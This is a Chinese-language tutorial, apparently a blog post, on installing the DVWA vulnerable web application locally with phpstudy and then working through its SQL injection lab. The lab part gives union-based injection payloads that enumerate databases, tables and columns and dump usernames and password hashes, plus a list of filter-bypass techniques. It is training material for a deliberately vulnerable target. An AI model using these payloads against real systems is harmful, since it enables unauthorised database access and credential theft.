win10下搭建DVWA测试环境
一、DVWA介绍
DVWA全称为Damn Vulnerable Web Application,意为存在糟糕漏洞的web应用。它是一个基于PHP/MySQL开发的存在糟糕漏洞的web应用,旨在为专业的安全人员提供一个合法的环境,来测试他们的工具和技能。帮助web开发人员理解web应用保护的过程,还可以在课堂中为师生的安全性教学提供便利。
DVWA是一个RandomStorm开源项目,了解关于RandomStorm开源项目访问网址: http://www.randomstorm.com.
DVWA项目开始于2008年12月,并逐渐受到欢迎。 现在,全世界有成千上万的安全专业人员,学生和教师正在使用它。
二、DVWA安装
DVWA是一个web应用,使用PHP语言开发,后端使用MySQL数据库。DVWA的运行需要安装一个web服务器,PHP开发环境,MySQL数据库。如果你现在没有配置好的web服务器,最简单的方法就是下载并安装XAMPP,也可以使用phpstudy安装。
2.1.安装phpstudy
安装PHP集成环境,这里用的是phpstudy 下面是下载地址:https://www.xp.cn/,下载后一直点下一步。然后会有初始化的提示点击是。看的如下的窗口说明你安装成功了。这里启动Apache和MySQL服务即可

2.2.安装安装DVWA
从github上面进行下载,地址 https://github.com/ethicalhack3r/DVWA,下载如下:

把下载好的DWVA的压缩包,放在D:\phpstudy_pro\WWW 中(因为我将phpStudy安装在D盘),然后解压DWVA的压缩包。

接下来需要配置DVWA链接数据库,请打开config文件夹,打开config.inc.php。需要把db_password 修改成 root账户的密码 ,因为咱们刚安装好的集成环境默认的MYSQL 链接用户名和密码分别为 root 123456。修改后别忘了保存。

2.3.测试登陆DVWA
浏览器访问 http://127.0.0.1/DVWA-master/setup.php,点击创建数据库。

创建成功。会自动跳转到登录页面,如果未出现调整,直接访问 http://127.0.0.1/DVWA-master/login.php 需要输入用户名密码。默认用户名 admin 默认密码 password。

登录成功后如下:

三、SQL注入
3.1.什么是SQL注入?
SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
3.2.SQL注入原理
就是通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。
3.3. SQL注入分类
- 数字型
- 字符型
- 报错注入
- Boollean注入
- 时间注入
3.4. SQL注入思路
- 判断是否存在注入,注入是字符型还是数字型
- 猜解SQL查询语句中的字段数
- 确定回显位置
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 得到数据
3.5.SQL注入绕过方法
- 注释符号绕过
- 大小写绕过
- 内联注释绕过
- 特殊编码绕过
- 空格过滤绕过
- 过滤or and xor not 绕过
3.6.SQL注入的原因
SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞。web 开发人员无法保证所有的输入都已经过滤,攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 http 头信思、 cookie 中),数据库未做相应的安全配置
3.7.SQL注入案例
3.7.1.判断注入类型
输入数字1,正常显示但无法区分注入点类型

输入 数字 2,结果显示正常

再输入1+1,无返回结果,因为如果是数字型注入id=1+1,则会显示id为2的信息,字符型就会搜索id=’1+1’的数据。因为这个注入点没有返回数据2的内容,所以为字符型注入漏洞。

输入1’ and 1=1提示错误,输入1’ and 1=1#显示正常说明存在单引号,在注入时需要闭合或者注释掉单引号(在语句后面加#)。

3.7.2.查询个数
使用order by排序语句,来测试,这个表中有几个字段,分别输入依次测试:
1'order by 1#
1'order by 2#
1'order by 3#
当尝试使用第三列排序的时候出现了,其他的正确,则表示这个表中存在两个字段,如下:

3.7.3.查询数据库名
结合联合查询去对网站进行注入从而获取信息,可以使用两种方式1’ union ....或者-1’ union ....。两者都可以使用,只不过后者的查询结果更简介一些不会去输出id=1的信息。输入如下内容:
-1' union select 1, database()#
执行后如下图,在surname哪里显示了库名 dvwa:

3.7.4.查询数据表名
输入如下SQL,查询表的名字:
-1' union select 1,table_name from information_schema.tables where table_schema="dvwa" #
或者
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
我这里执行的时候靶场报错了,Illegal mix of collations for operation ‘UNION‘,解决方式如下:
alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci
alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci
alter table users modify user varchar(15) character set utf8 collate utf8_general_ci
再次执行如下结果有两个表guestbook和users

3.7.5.查询数据列名
输入SQL如下:
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
在surname哪里列出了表中的字段名,共8列,user_id、first_name、last_name、user、password、avatar、last_login、failed_login

3.7.6.查询详细信息
得知字段名后就可以获取数据信息了:
-1' union select user,password from users #
查询结果如下图:


浙公网安备 33010602011771号